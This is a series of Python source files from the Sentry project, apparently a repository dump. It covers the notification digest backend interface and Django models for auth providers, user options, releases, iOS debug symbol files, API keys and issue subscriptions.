            pipeline.zrem(make_schedule_key(self.namespace, SCHEDULE_STATE_READY), key)
            pipeline.zrem(make_schedule_key(self.namespace, SCHEDULE_STATE_WAITING), key)
            pipeline.execute()






from __future__ import absolute_import

import logging

from sentry.utils.imports import import_string


logger = logging.getLogger('sentry.digests')


def load(options):
    return import_string(options['path'])(**options.get('options', {}))


DEFAULT_CODEC = {
    'path': 'sentry.digests.codecs.CompressedPickleCodec',
}


class InvalidState(Exception):
    """
    An error that is raised when an action cannot be performed on a
    timeline in it's current state.
    """


class Backend(object):
    """
    A digest backend coordinates the addition of records to timelines, as well
    as scheduling their digestion (processing.) This allows for summarizations
    of activity that was recorded as having occurrred during a window of time.

    A timeline is the central abstraction for digests. A timeline is a
    reverse-chronological set of records. Timelines are identified by a unique
    key. Records within a timeline are also identified by a key that is unique
    with respect to the timeline they are a part of.

    A timeline can be in one of two states: "waiting" or "ready".

    When the first record is added to a timeline, the timeline transitions to
    the "ready" state, and the digest is immediately available to be digested
    and delivered. (This immediate state change to "ready" allows notifications
    to be delivered with lower latency.)

    After delivery, the digest transitions to the "waiting" state for the
    duration of the delay interval. If more items are added to the digest
    during this waiting period, the schedule is extended incrementally (up to
    the value defined by the maximum delay option) to allow grouping the more
    items into a single notification.

    When the "waiting" period is over, the timeline transitions back to the
    "ready" state, which causes the timeline to be again digested and
    delivered. After the timeline is digested, it transitions back to the
    "waiting" state if it contained records. If the timeline did not contain
    any records when it was digested, it can be deleted (although deletion may
    be preempted by a new record being added to the timeline, requiring it to
    be transitioned to "waiting" instead.)
    """
    def __init__(self, **options):
        # The ``minimum_delay`` option defines the default minimum amount of
        # time (in seconds) to wait between scheduling digests for delivery
        # after the initial scheduling.
        self.minimum_delay = options.pop('minimum_delay', 60 * 5)

        # The ``maximum_delay`` option defines the default maximum amount of
        # time (in seconds) to wait between scheduling digests for delivery.
        self.maximum_delay = options.pop('maximum_delay', 60 * 30)

        # The ``increment_delay`` option defines how long each observation of
        # an event should delay scheduling (up until the ``maximum_delay``
        # after the last time a digest was processed.)
        self.increment_delay = options.pop('increment_delay', 30)

        # The ``codec`` option provides the strategy for encoding and decoding
        # records in the timeline.
        self.codec = load(options.pop('codec', DEFAULT_CODEC))

        # The ``capacity`` option defines the maximum number of items that
        # should be contained within a timeline. (Whether this is a hard or
        # soft limit is backend dependent -- see the ``truncation_chance`` option.)
        self.capacity = options.pop('capacity', None)
        if self.capacity is not None and self.capacity < 1:
            raise ValueError('Timeline capacity must be at least 1 if used.')

        # The ``truncation_chance`` option defines the probability that an
        # ``add`` operation will trigger a truncation of the timeline to keep
        # it's size close to the defined capacity. A value of 1 will cause the
        # timeline to be truncated on every ``add`` operation (effectively
        # making it a hard limit), while a lower probability will increase the
        # chance of the timeline growing past it's intended capacity, but
        # increases the performance of ``add`` operations (by avoiding
        # truncation, which is a potentially expensive operation, especially on
        # large data sets.)
        if self.capacity:
            self.truncation_chance = options.pop('truncation_chance', 1.0 / self.capacity)
        else:
            if options.get('truncation_chance') is not None:
                raise TypeError('No timeline capacity has been set, "truncation_chance" must be None.')
            else:
                self.truncation_chance = 0.0

    def validate(self):
        pass

    def enabled(self, project):
        """
        Check if a project has digests enabled.
        """
        return True

    def add(self, key, record, increment_delay=None, maximum_delay=None):
        """
        Add a record to a timeline.

        Adding a record to a timeline also causes it to be added to the
        schedule, if it is not already present.

        If another record exists in the timeline with the same record key, it
        will be overwritten.

        The return value this function indicates whether or not the timeline is
        ready for immediate digestion.
        """
        raise NotImplementedError

    def digest(self, key, minimum_delay=None):
        """
        Extract records from a timeline for processing.

        This method acts as a context manager. The target of the ``as`` clause
        is an iterator contains all of the records contained within the digest.

        If the context manager successfully exits, all records that were part
        of the digest are removed from the timeline and the timeline is placed
        back in the "waiting" state. If an exception is raised during the
        execution of the context manager, all records are preserved and no
        state change occurs so that the next invocation will contain all
        records that the were included previously, as well as any records that
        were added in between invocations. (This means that the caller must
        either retry the digest operation until it succeeds, or wait for the
        operation to be rescheduled as part of the maintenance process for the
        items to be processed.)

        Typically, the block that is surrounded by context manager includes all
        of the processing logic necessary to summarize the timeline contents
        (since this process is generally has no side effects), while any
        irrevocable action -- such as sending an email -- should occur after
        the context manager has exited, to ensure that action is performed at
        most once.

        For example::

            with timelines.digest('project:1') as records:
                message = build_digest_email(records)

            message.send_async()

        """
        raise NotImplementedError

    def schedule(self, deadline):
        """
        Identify timelines that are ready for processing.

        This method moves all timelines that are ready to be digested from the
        waiting state to the ready state if their schedule time is prior to the
        deadline. This method returns an iterator of schedule entries that were
        moved.
        """
        raise NotImplementedError

    def maintenance(self, deadline):
        """
        Identify timelines that appear to be stuck in the ready state.

        This method moves all timelines that are in the ready state back to the
        waiting state if their schedule time is prior to the deadline. (This
        does not reschdule any tasks directly, and should generally be
        performed as part of the scheduler task, before the ``schedule``
        call.)

        This is designed to handle the situation where task execution is
        managed by a separate system such as RabbitMQ & Celery from scheduling.
        A digest task may not be able to be succesfully retried after a failure
        (e.g. if the process executing the task can no longer communicate with
        the messaging broker) which can result in a task remaining in the ready
        state without an execution plan.

        This may cause issues when asynchronously processing timelines and
        there is a severe backlog of timelines to be digested. Timelines in the
        "ready" state that were scheduled for execution prior to the deadline
        may still have outstanding tasks associated with them -- remember that
        without the ability to interrogate the queue, we are unable to identify
        if these tasks have finished but were unable to bea removed from the
        schedule, failed outright, or are still pending. As part of
        maintenance, those timelines are moved back to the "waiting" state for
        rescheduling, and if a pending task for a timeline that was previously
        in the "ready" state but is now back in the "waiting" state actually
        executes, it will fail to be executed. The timeline will later be moved
        back to the "ready" state and rescheduled -- so it's contents will
        eventually be processed -- but this may be significantly delayed from
        the originally scheduled time. Both the queue backlog as well as the
        frequency of the digest task raising an exception when a timeline is in
        an invalid state should be monitored. If these exceptions happen
        frequently -- especially during periods of abnormal queue growth -- the
        frequency of maintenance tasks should be decreased, or the deadline
        should be pushed further towards the past (execution grace period
        increased) or both.
        """
        raise NotImplementedError

    def delete(self, key):
        """
        Delete a timeline and all of it's contents from the database.
        """
        raise NotImplementedError






from __future__ import absolute_import






from __future__ import absolute_import

from contextlib import contextmanager

from sentry.digests.backends.base import Backend


class DummyBackend(Backend):
    def add(self, key, record, increment_delay=None, maximum_delay=None):
        pass

    def enabled(self, project):
        return False

    @contextmanager
    def digest(self, key, minimum_delay=None):
        yield []

    def schedule(self, deadline):
        return
        yield  # make this a generator

    def maintenance(self, deadline):
        pass






from __future__ import absolute_import, print_function

from bitfield import BitField
from django.db import models
from django.utils import timezone
from jsonfield import JSONField

from sentry.db.models import (
    BoundedPositiveIntegerField, FlexibleForeignKey, Model, sane_repr
)


class AuthProvider(Model):
    __core__ = True

    organization = FlexibleForeignKey('sentry.Organization', unique=True)
    provider = models.CharField(max_length=128)
    config = JSONField()

    date_added = models.DateTimeField(default=timezone.now)
    sync_time = BoundedPositiveIntegerField(null=True)
    last_sync = models.DateTimeField(null=True)

    default_role = BoundedPositiveIntegerField(default=50)
    default_global_access = models.BooleanField(default=True)
    # TODO(dcramer): ManyToMany has the same issue as ForeignKey and we need
    # to either write our own which works w/ BigAuto or switch this to use
    # through.
    default_teams = models.ManyToManyField('sentry.Team', blank=True)

    flags = BitField(flags=(
        ('allow_unlinked', 'Grant access to members who have not linked SSO accounts.'),
    ), default=0)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_authprovider'

    __repr__ = sane_repr('organization_id', 'provider')

    def __unicode__(self):
        return self.provider

    def get_provider(self):
        from sentry.auth import manager

        return manager.get(self.provider, **self.config)

    def get_audit_log_data(self):
        return {
            'provider': self.provider,
            'config': self.config,
        }






"""
sentry.models.useroption
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from celery.signals import task_postrun
from django.core.signals import request_finished
from django.conf import settings
from django.db import models

from sentry.db.models import FlexibleForeignKey, Model, sane_repr
from sentry.db.models.fields import UnicodePickledObjectField
from sentry.db.models.manager import BaseManager


class UserOptionValue(object):
    # 'workflow:notifications'
    all_conversations = '0'
    participating_only = '1'


class UserOptionManager(BaseManager):
    def __init__(self, *args, **kwargs):
        super(UserOptionManager, self).__init__(*args, **kwargs)
        self.__metadata = {}

    def __getstate__(self):
        d = self.__dict__.copy()
        # we cant serialize weakrefs
        d.pop('_UserOptionManager__metadata', None)
        return d

    def __setstate__(self, state):
        self.__dict__.update(state)
        self.__metadata = {}

    def get_value(self, user, project, key, default=None):
        result = self.get_all_values(user, project)
        return result.get(key, default)

    def unset_value(self, user, project, key):
        self.filter(user=user, project=project, key=key).delete()
        if not hasattr(self, '_metadata'):
            return
        if project:
            metakey = (user.pk, project.pk)
        else:
            metakey = (user.pk, None)
        if metakey not in self.__metadata:
            return
        self.__metadata[metakey].pop(key, None)

    def set_value(self, user, project, key, value):
        inst, created = self.get_or_create(
            user=user,
            project=project,
            key=key,
            defaults={
                'value': value,
            },
        )
        if not created and inst.value != value:
            inst.update(value=value)

        if project:
            metakey = (user.pk, project.pk)
        else:
            metakey = (user.pk, None)
        if metakey not in self.__metadata:
            return
        self.__metadata[metakey][key] = value

    def get_all_values(self, user, project):
        if project:
            metakey = (user.pk, project.pk)
        else:
            metakey = (user.pk, None)
        if metakey not in self.__metadata:
            result = dict(
                (i.key, i.value) for i in
                self.filter(
                    user=user,
                    project=project,
                )
            )
            self.__metadata[metakey] = result
        return self.__metadata.get(metakey, {})

    def clear_cache(self, **kwargs):
        self.__metadata = {}

    def contribute_to_class(self, model, name):
        super(UserOptionManager, self).contribute_to_class(model, name)
        task_postrun.connect(self.clear_cache)
        request_finished.connect(self.clear_cache)


# TODO(dcramer): the NULL UNIQUE constraint here isnt valid, and instead has to
# be manually replaced in the database. We should restructure this model.
class UserOption(Model):
    """
    User options apply only to a user, and optionally a project.

    Options which are specific to a plugin should namespace
    their key. e.g. key='myplugin:optname'

    Keeping user feature state
    key: "feature:assignment"
    value: { updated: datetime, state: bool }
    """
    __core__ = True

    user = FlexibleForeignKey(settings.AUTH_USER_MODEL)
    project = FlexibleForeignKey('sentry.Project', null=True)
    key = models.CharField(max_length=64)
    value = UnicodePickledObjectField()

    objects = UserOptionManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_useroption'
        unique_together = (('user', 'project', 'key',),)

    __repr__ = sane_repr('user_id', 'project_id', 'key', 'value')






from __future__ import absolute_import

from django.db import models
from django.utils import timezone

from sentry.utils.cache import cache
from sentry.utils.hashlib import md5_text
from sentry.db.models import (
    BoundedPositiveIntegerField, Model, sane_repr
)


class GroupRelease(Model):
    __core__ = False

    project_id = BoundedPositiveIntegerField(db_index=True)
    group_id = BoundedPositiveIntegerField()
    release_id = BoundedPositiveIntegerField(db_index=True)
    environment = models.CharField(max_length=64, default='')
    first_seen = models.DateTimeField(default=timezone.now)
    last_seen = models.DateTimeField(default=timezone.now, db_index=True)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_grouprelease'
        unique_together = (('group_id', 'release_id', 'environment'),)

    __repr__ = sane_repr('group_id', 'release_id')

    @classmethod
    def get_cache_key(cls, group_id, release_id, environment):
        return 'grouprelease:1:{}:{}'.format(
            group_id,
            md5_text('{}:{}'.format(release_id, environment)).hexdigest(),
        )

    @classmethod
    def get_or_create(cls, group, release, environment, datetime, **kwargs):
        cache_key = cls.get_cache_key(group.id, release.id, environment.name)

        instance = cache.get(cache_key)
        if instance is None:
            instance, created = cls.objects.get_or_create(
                release_id=release.id,
                group_id=group.id,
                environment=environment.name,
                defaults={
                    'project_id': group.project_id,
                    'first_seen': datetime,
                    'last_seen': datetime,
                },
            )
            cache.set(cache_key, instance, 3600)
        else:
            created = False

        # TODO(dcramer): this would be good to buffer
        if not created:
            instance.update(last_seen=datetime)
        return instance






"""
sentry.models.dsymfile
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import os
import shutil
import hashlib
import six
import tempfile

from itertools import chain
from django.db import models, router, transaction, connection, IntegrityError

try:
    from symsynd.macho.arch import get_macho_uuids
    have_symsynd = True
except ImportError:
    have_symsynd = False

from sentry.db.models import FlexibleForeignKey, Model, BoundedBigIntegerField, \
    sane_repr, BaseManager
from sentry.models.file import File
from sentry.utils.zip import safe_extract_zip
from sentry.utils.db import is_sqlite
from sentry.utils.native import parse_addr
from sentry.constants import KNOWN_DSYM_TYPES


class DSymSDKManager(BaseManager):

    def enumerate_sdks(self, sdk=None, version=None):
        """Return a grouped list of SDKs."""
        filter = ''
        args = []
        if version is not None:
            for col, val in zip(['major', 'minor', 'patchlevel'],
                                version.split('.')):
                if not val.isdigit():
                    return []
                filter += ' and k.version_%s = %d' % (
                    col,
                    int(val)
                )
        if sdk is not None:
            filter += ' and k.sdk_name = %s'
            args.append(sdk)
        cur = connection.cursor()
        cur.execute('''
   select distinct k.*, count(*) as bundle_count, o.cpu_name
              from sentry_dsymsdk k,
                   sentry_dsymbundle b,
                   sentry_dsymobject o
             where b.sdk_id = k.id and
                   b.object_id = o.id %s
          group by k.id, k.sdk_name, o.cpu_name
        ''' % filter, args)
        rv = []
        for row in cur.fetchall():
            row = dict(zip([x[0] for x in cur.description], row))
            ver = '%s.%s.%s' % (
                row['version_major'],
                row['version_minor'],
                row['version_patchlevel']
            )
            rv.append({
                'sdk_name': row['sdk_name'],
                'version': ver,
                'build': row['version_build'],
                'bundle_count': row['bundle_count'],
                'cpu_name': row['cpu_name'],
            })
        return sorted(rv, key=lambda x: (x['sdk_name'],
                                         x['version'],
                                         x['build'],
                                         x['cpu_name']))


class DSymSDK(Model):
    __core__ = False
    dsym_type = models.CharField(max_length=20, db_index=True)
    sdk_name = models.CharField(max_length=20)
    version_major = models.IntegerField()
    version_minor = models.IntegerField()
    version_patchlevel = models.IntegerField()
    version_build = models.CharField(max_length=40)

    objects = DSymSDKManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_dsymsdk'
        index_together = [
            ('version_major', 'version_minor', 'version_patchlevel',
             'version_build'),
        ]


class DSymObject(Model):
    __core__ = False
    cpu_name = models.CharField(max_length=40)
    object_path = models.TextField(db_index=True)
    uuid = models.CharField(max_length=36, db_index=True)
    vmaddr = BoundedBigIntegerField(null=True)
    vmsize = BoundedBigIntegerField(null=True)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_dsymobject'


class DSymBundle(Model):
    __core__ = False
    sdk = FlexibleForeignKey('sentry.DSymSDK')
    object = FlexibleForeignKey('sentry.DSymObject')

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_dsymbundle'


class DSymSymbolManager(BaseManager):

    def bulk_insert(self, items):
        db = router.db_for_write(DSymSymbol)
        items = list(items)
        if not items:
            return

        # On SQLite we don't do this.  Two reasons: one, it does not
        # seem significantly faster and you're an idiot if you import
        # huge amounts of system symbols into sqlite anyways.  secondly
        # because of the low parameter limit
        if not is_sqlite():
            try:
                with transaction.atomic(using=db):
                    cur = connection.cursor()
                    cur.execute('''
                        insert into sentry_dsymsymbol
                            (object_id, address, symbol)
                             values %s
                    ''' % ', '.join(['(%s, %s, %s)'] * len(items)),
                        list(chain(*items)))
                    cur.close()
                return
            except IntegrityError:
                pass

        cur = connection.cursor()
        for item in items:
            cur.execute('''
                insert into sentry_dsymsymbol
                    (object_id, address, symbol)
                select
                    %(object_id)s, %(address)s, %(symbol)s
                where not exists (
                    select 1 from sentry_dsymsymbol
                       where object_id = %(object_id)s
                         and address = %(address)s);
            ''', {
                'object_id': item[0],
                'address': item[1],
                'symbol': item[2],
            })
        cur.close()

    def lookup_symbol(self, instruction_addr, image_addr, uuid,
                      cpu_name=None, object_path=None, sdk_info=None,
                      image_vmaddr=None):
        """Finds a system symbol."""
        # If we use the "none" dsym type we never return a symbol here.
        if sdk_info is not None and sdk_info['dsym_type'] == 'none':
            return

        instruction_addr = parse_addr(instruction_addr)
        image_addr = parse_addr(image_addr)

        addr_abs = None
        if image_vmaddr is not None:
            image_vmaddr = parse_addr(image_vmaddr)
            addr_abs = image_vmaddr + instruction_addr - image_addr
        addr_rel = instruction_addr - image_addr

        uuid = six.text_type(uuid).lower()
        cur = connection.cursor()
        try:
            # First try: exact match on uuid (addr_rel)
            cur.execute('''
                select s.symbol
                  from sentry_dsymsymbol s,
                       sentry_dsymobject o
                 where o.uuid = %s and
                       s.object_id = o.id and
                       s.address <= o.vmaddr + %s and
                       s.address >= o.vmaddr
              order by address desc
                 limit 1;
            ''', [uuid, addr_rel])
            rv = cur.fetchone()
            if rv:
                return rv[0]

            # Second try: exact match on uuid (addr_abs)
            if addr_abs is not None:
                cur.execute('''
                    select s.symbol
                      from sentry_dsymsymbol s,
                           sentry_dsymobject o
                     where o.uuid = %s and
                           s.object_id = o.id and
                           s.address <= %s and
                           s.address >= %s
                  order by address desc
                     limit 1;
                ''', [uuid, addr_abs, image_vmaddr])
                rv = cur.fetchone()
                if rv:
                    return rv[0]

            # Third try: exact match on path and arch (addr_rel)
            if sdk_info is None or \
               cpu_name is None or \
               object_path is None:
                return

            cur.execute('''
                select s.symbol
                  from sentry_dsymsymbol s,
                       sentry_dsymobject o,
                       sentry_dsymsdk k,
                       sentry_dsymbundle b
                 where b.sdk_id = k.id and
                       b.object_id = o.id and
                       s.object_id = o.id and
                       k.sdk_name = %s and
                       k.dsym_type = %s and
                       k.version_major = %s and
                       k.version_minor = %s and
                       k.version_patchlevel = %s and
                       o.cpu_name = %s and
                       o.object_path = %s and
                       s.address <= o.vmaddr + %s and
                       s.address >= o.vmaddr
              order by address desc
                 limit 1;
            ''', [sdk_info['sdk_name'], sdk_info['dsym_type'],
                  sdk_info['version_major'], sdk_info['version_minor'],
                  sdk_info['version_patchlevel'], cpu_name, object_path,
                  addr_rel])
            rv = cur.fetchone()
            if rv:
                return rv[0]

            # Fourth try: exact match on path and arch (addr_abs)
            if addr_abs is not None:
                cur.execute('''
                    select s.symbol
                      from sentry_dsymsymbol s,
                           sentry_dsymobject o,
                           sentry_dsymsdk k,
                           sentry_dsymbundle b
                     where b.sdk_id = k.id and
                           b.object_id = o.id and
                           s.object_id = o.id and
                           k.sdk_name = %s and
                           k.dsym_type = %s and
                           k.version_major = %s and
                           k.version_minor = %s and
                           k.version_patchlevel = %s and
                           o.cpu_name = %s and
                           o.object_path = %s and
                           s.address <= %s and
                           s.address >= %s
                  order by address desc
                     limit 1;
                ''', [sdk_info['sdk_name'], sdk_info['dsym_type'],
                      sdk_info['version_major'], sdk_info['version_minor'],
                      sdk_info['version_patchlevel'], cpu_name, object_path,
                      addr_abs, image_vmaddr])
                rv = cur.fetchone()
                if rv:
                    return rv[0]
        finally:
            cur.close()


class DSymSymbol(Model):
    __core__ = False
    object = FlexibleForeignKey('sentry.DSymObject')
    address = BoundedBigIntegerField(db_index=True)
    symbol = models.TextField()

    objects = DSymSymbolManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_dsymsymbol'
        unique_together = [
            ('object', 'address'),
        ]


class CommonDSymFile(Model):
    """
    A single dsym file that is associated with a project.
    """
    __core__ = False

    file = FlexibleForeignKey('sentry.File')
    object_name = models.TextField()
    cpu_name = models.CharField(max_length=40)

    __repr__ = sane_repr('object_name', 'cpu_name', 'uuid')

    class Meta:
        abstract = True
        app_label = 'sentry'

    @property
    def dsym_type(self):
        ct = self.file.headers.get('Content-Type').lower()
        return KNOWN_DSYM_TYPES.get(ct, 'unknown')


class ProjectDSymFile(CommonDSymFile):
    project = FlexibleForeignKey('sentry.Project', null=True)
    uuid = models.CharField(max_length=36)
    is_global = False

    class Meta(CommonDSymFile.Meta):
        unique_together = (('project', 'uuid'),)
        db_table = 'sentry_projectdsymfile'


class GlobalDSymFile(CommonDSymFile):
    uuid = models.CharField(max_length=36, unique=True)
    is_global = True

    class Meta(CommonDSymFile.Meta):
        db_table = 'sentry_globaldsymfile'


def _create_macho_dsym_from_uuid(project, cpu_name, uuid, fileobj,
                                 object_name):
    """This creates a mach dsym file from the given uuid and open file
    object to a dsym file.  This will not verify the uuid.  Use
    `create_files_from_macho_zip` for doing everything.
    """
    extra = {}
    if project is None:
        cls = GlobalDSymFile
        file_type = 'global.dsym'
    else:
        cls = ProjectDSymFile
        extra['project'] = project
        file_type = 'project.dsym'

    h = hashlib.sha1()
    while 1:
        chunk = fileobj.read(16384)
        if not chunk:
            break
        h.update(chunk)
    checksum = h.hexdigest()
    fileobj.seek(0, 0)

    try:
        rv = cls.objects.get(uuid=uuid, **extra)
        if rv.file.checksum == checksum:
            return rv
    except cls.DoesNotExist:
        pass
    else:
        # The checksum mismatches.  In this case we delete the old object
        # and perform a re-upload.
        rv.delete()

    file = File.objects.create(
        name=uuid,
        type=file_type,
        headers={
            'Content-Type': 'application/x-mach-binary'
        },
    )
    file.putfile(fileobj)
    try:
        with transaction.atomic():
            return cls.objects.create(
                file=file,
                uuid=uuid,
                cpu_name=cpu_name,
                object_name=object_name,
                **extra
            )
    except IntegrityError:
        file.delete()
        return cls.objects.get(uuid=uuid, **extra)


def create_files_from_macho_zip(fileobj, project=None):
    """Creates all missing dsym files from the given zip file.  This
    returns a list of all files created.
    """
    if not have_symsynd:
        raise RuntimeError('symsynd is unavailable.  Install sentry with '
                           'the dsym feature flag.')
    scratchpad = tempfile.mkdtemp()
    try:
        safe_extract_zip(fileobj, scratchpad)
        to_create = []

        for dirpath, dirnames, filenames in os.walk(scratchpad):
            for fn in filenames:
                fn = os.path.join(dirpath, fn)
                try:
                    uuids = get_macho_uuids(fn)
                except (IOError, ValueError):
                    # Whatever was contained there, was probably not a
                    # macho file.
                    continue
                for cpu, uuid in uuids:
                    to_create.append((cpu, uuid, fn))

        rv = []
        for cpu, uuid, filename in to_create:
            with open(filename, 'rb') as f:
                rv.append((_create_macho_dsym_from_uuid(
                    project, cpu, uuid, f, os.path.basename(filename))))
        return rv
    finally:
        shutil.rmtree(scratchpad)


def find_dsym_file(project, image_uuid):
    """Finds a dsym file for the given uuid.  Looks both within the project
    as well the global store.
    """
    image_uuid = image_uuid.lower()
    try:
        return ProjectDSymFile.objects.filter(
            uuid=image_uuid,
            project=project
        ).select_related('file').get()
    except ProjectDSymFile.DoesNotExist:
        pass
    try:
        return GlobalDSymFile.objects.filter(
            uuid=image_uuid
        ).select_related('file').get()
    except GlobalDSymFile.DoesNotExist:
        return None


def find_missing_dsym_files(checksums, project=None):
    checksums = [x.lower() for x in checksums]
    missing = set(checksums)

    if project is not None:
        found = ProjectDSymFile.objects.filter(
            file__checksum__in=checksums,
            project=project
        ).values('file__checksum')

        for values in found:
            missing.discard(values.values()[0])

        if not missing:
            return []

    found = GlobalDSymFile.objects.filter(
        file__checksum__in=list(missing),
    ).values('file__checksum')

    for values in found:
        missing.discard(values.values()[0])

    return list(missing)






"""
sentry.models.option
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from django.db import models
from django.utils import timezone

from sentry.db.models import Model, sane_repr
from sentry.db.models.fields import UnicodePickledObjectField


class Option(Model):
    """
    Global options which apply in most situations as defaults,
    and generally can be overwritten by per-project options.

    Options which are specific to a plugin should namespace
    their key. e.g. key='myplugin:optname'
    """
    __core__ = True

    key = models.CharField(max_length=64, unique=True)
    value = UnicodePickledObjectField()
    last_updated = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_option'

    __repr__ = sane_repr('key', 'value')






"""
sentry.models.apikey
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import six

from bitfield import BitField
from django.db import models
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _
from uuid import uuid4

from sentry.db.models import (
    Model, BaseManager, BoundedPositiveIntegerField, FlexibleForeignKey,
    sane_repr
)


# TODO(dcramer): pull in enum library
class ApiKeyStatus(object):
    ACTIVE = 0
    INACTIVE = 1


class ApiKey(Model):
    __core__ = True

    organization = FlexibleForeignKey('sentry.Organization', related_name='key_set')
    label = models.CharField(max_length=64, blank=True, default='Default')
    key = models.CharField(max_length=32, unique=True)
    scopes = BitField(flags=(
        ('project:read', 'project:read'),
        ('project:write', 'project:write'),
        ('project:delete', 'project:delete'),
        ('project:releases', 'project:releases'),
        ('team:read', 'team:read'),
        ('team:write', 'team:write'),
        ('team:delete', 'team:delete'),
        ('event:read', 'event:read'),
        ('event:write', 'event:write'),
        ('event:delete', 'event:delete'),
        ('org:read', 'org:read'),
        ('org:write', 'org:write'),
        ('org:delete', 'org:delete'),
        ('member:read', 'member:read'),
        ('member:write', 'member:write'),
        ('member:delete', 'member:delete'),
    ))
    status = BoundedPositiveIntegerField(default=0, choices=(
        (ApiKeyStatus.ACTIVE, _('Active')),
        (ApiKeyStatus.INACTIVE, _('Inactive')),
    ), db_index=True)
    date_added = models.DateTimeField(default=timezone.now)
    allowed_origins = models.TextField(blank=True, null=True)

    objects = BaseManager(cache_fields=(
        'key',
    ))

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_apikey'

    __repr__ = sane_repr('organization_id', 'key')

    def __unicode__(self):
        return six.text_type(self.key)

    @classmethod
    def generate_api_key(cls):
        return uuid4().hex

    @property
    def is_active(self):
        return self.status == ApiKeyStatus.ACTIVE

    def save(self, *args, **kwargs):
        if not self.key:
            self.key = ApiKey.generate_api_key()
        super(ApiKey, self).save(*args, **kwargs)

    def get_allowed_origins(self):
        if not self.allowed_origins:
            return []
        return filter(bool, self.allowed_origins.split('\n'))

    def get_audit_log_data(self):
        return {
            'label': self.label,
            'key': self.key,
            'scopes': int(self.scopes),
            'status': self.status,
        }

    def get_scopes(self):
        return [k for k, v in six.iteritems(self.scopes) if v]

    def has_scope(self, scope):
        return scope in self.scopes


class SystemKey(object):
    is_active = True
    organization = None

    def get_allowed_origins(self):
        return []

    def get_audit_log_data(self):
        return {
            'label': 'System',
            'key': '<system>',
            'scopes': -1,
            'status': ApiKeyStatus.ACTIVE
        }

    def get_scopes(self):
        # All scopes!
        return ApiKey.scopes

    def has_scope(self, scope):
        return True


ROOT_KEY = SystemKey()






from __future__ import absolute_import

from django.conf import settings
from django.db import IntegrityError, models, transaction
from django.db.models import Q
from django.utils import timezone

from sentry.db.models import (
    BoundedPositiveIntegerField, FlexibleForeignKey, Model, BaseManager,
    sane_repr
)


class GroupSubscriptionReason(object):
    unknown = 0
    comment = 1
    assigned = 2
    bookmark = 3
    status_change = 4


class GroupSubscriptionManager(BaseManager):
    def subscribe(self, group, user, reason=GroupSubscriptionReason.unknown):
        """
        Subscribe a user to an issue, but only if the user has not explicitly
        unsubscribed.
        """
        try:
            with transaction.atomic():
                self.create(
                    user=user,
                    group=group,
                    project=group.project,
                    is_active=True,
                    reason=reason,
                )
        except IntegrityError:
            pass

    def get_participants(self, group):
        """
        Identify all users who are participating with a given issue.
        """
        from sentry.models import User, UserOption, UserOptionValue

        # identify all members of a project
        users = User.objects.filter(
            sentry_orgmember_set__teams=group.project.team,
            is_active=True,
        )

        # TODO(dcramer): allow members to change from default particpating to
        # explicit
        users = users.exclude(
            id__in=GroupSubscription.objects.filter(
                group=group,
                is_active=False,
                user__in=users,
            ).values('user')
        )

        # find users which by default do not subscribe
        participating_only = set(UserOption.objects.filter(
            Q(project__isnull=True) | Q(project=group.project),
            user__in=users,
            key='workflow:notifications',
            value=UserOptionValue.participating_only,
        ).exclude(
            user__in=UserOption.objects.filter(
                user__in=users,
                key='workflow:notifications',
                project=group.project,
                value=UserOptionValue.all_conversations,
            )
        ).values_list('user', flat=True))

        if participating_only:
            excluded = participating_only.difference(
                GroupSubscription.objects.filter(
                    group=group,
                    is_active=True,
                    user__in=participating_only,
                ).values_list('user', flat=True)
            )

            if excluded:
                users = users.exclude(
                    id__in=excluded,
                )

        return list(users)


class GroupSubscription(Model):
    """
    Identifies a subscription relationship between a user and an issue.
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project', related_name="subscription_set")
    group = FlexibleForeignKey('sentry.Group', related_name="subscription_set")
    # namespace related_name on User since we don't own the model
    user = FlexibleForeignKey(settings.AUTH_USER_MODEL)
    is_active = models.BooleanField(default=True)
    reason = BoundedPositiveIntegerField(
        default=GroupSubscriptionReason.unknown,
    )
    date_added = models.DateTimeField(default=timezone.now, null=True)

    objects = GroupSubscriptionManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_groupsubscription'
        unique_together = (('group', 'user'),)

    __repr__ = sane_repr('project_id', 'group_id', 'user_id')






from __future__ import absolute_import

from django.db import models
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _
from sentry.db.models import (
    BoundedPositiveIntegerField, Model, FlexibleForeignKey, sane_repr
)


class GroupResolutionStatus(object):
    PENDING = 0
    RESOLVED = 1


class GroupResolution(Model):
    """
    Describes in which release a group was marked as resolved.

    This is used to power the concept of "Ive fixed this in code, but its not
    fixed in the current release".

    In the future this will likely expand to have full commit references, and
    possibly remove the tight association with a release.
    """
    __core__ = False

    group = FlexibleForeignKey('sentry.Group', unique=True)
    # the release in which its suggested this was resolved
    # which allows us to indicate if it still happens in newer versions
    release = FlexibleForeignKey('sentry.Release')
    datetime = models.DateTimeField(default=timezone.now, db_index=True)
    status = BoundedPositiveIntegerField(
        default=GroupResolutionStatus.PENDING,
        choices=(
            (GroupResolutionStatus.PENDING, _('Pending')),
            (GroupResolutionStatus.RESOLVED, _('Resolved')),
        ),
    )

    class Meta:
        db_table = 'sentry_groupresolution'
        app_label = 'sentry'

